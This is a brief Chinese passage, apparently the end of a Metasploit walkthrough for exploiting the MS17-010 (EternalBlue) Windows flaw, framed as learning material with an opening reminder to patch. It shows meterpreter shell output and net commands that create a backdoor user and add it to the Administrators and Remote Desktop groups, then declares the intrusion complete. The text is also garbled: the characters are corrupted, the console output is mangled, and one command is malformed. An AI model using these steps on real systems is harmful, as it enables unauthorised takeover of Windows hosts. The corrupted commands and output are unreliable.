您好，Microsoft Wi

永恒之藍(lán)是2017年席卷全球的勒索軟件的罪魁禍?zhǔn)?，是微軟近些年來最為?yán)重的遠(yuǎn)程代碼執(zhí)行漏洞，可以直接獲得系統(tǒng)權(quán)限，請(qǐng)所有IT從業(yè)人員在任何時(shí)候都要打滿補(bǔ)丁以絕后患。

獲得shell權(quán)限

meterpreter > shellProcess 4088 created.Channel 1 created.Microsoft Windows [?汾 6.1.7601]??????? (c) 2009 Microsoft Corporation???????????????C:Windowssystem32>

添加管理員并加入遠(yuǎn)程桌面組

net user localgroup administrators test /add
net localgroup “Remote Desktop Users” test /add

完成入侵。

MS17-010在msf里屬于中等使用難度，涉及了掃描、配置回鏈方式、桌面抓圖、提權(quán)等手段，是非常好的學(xué)習(xí)對(duì)象。
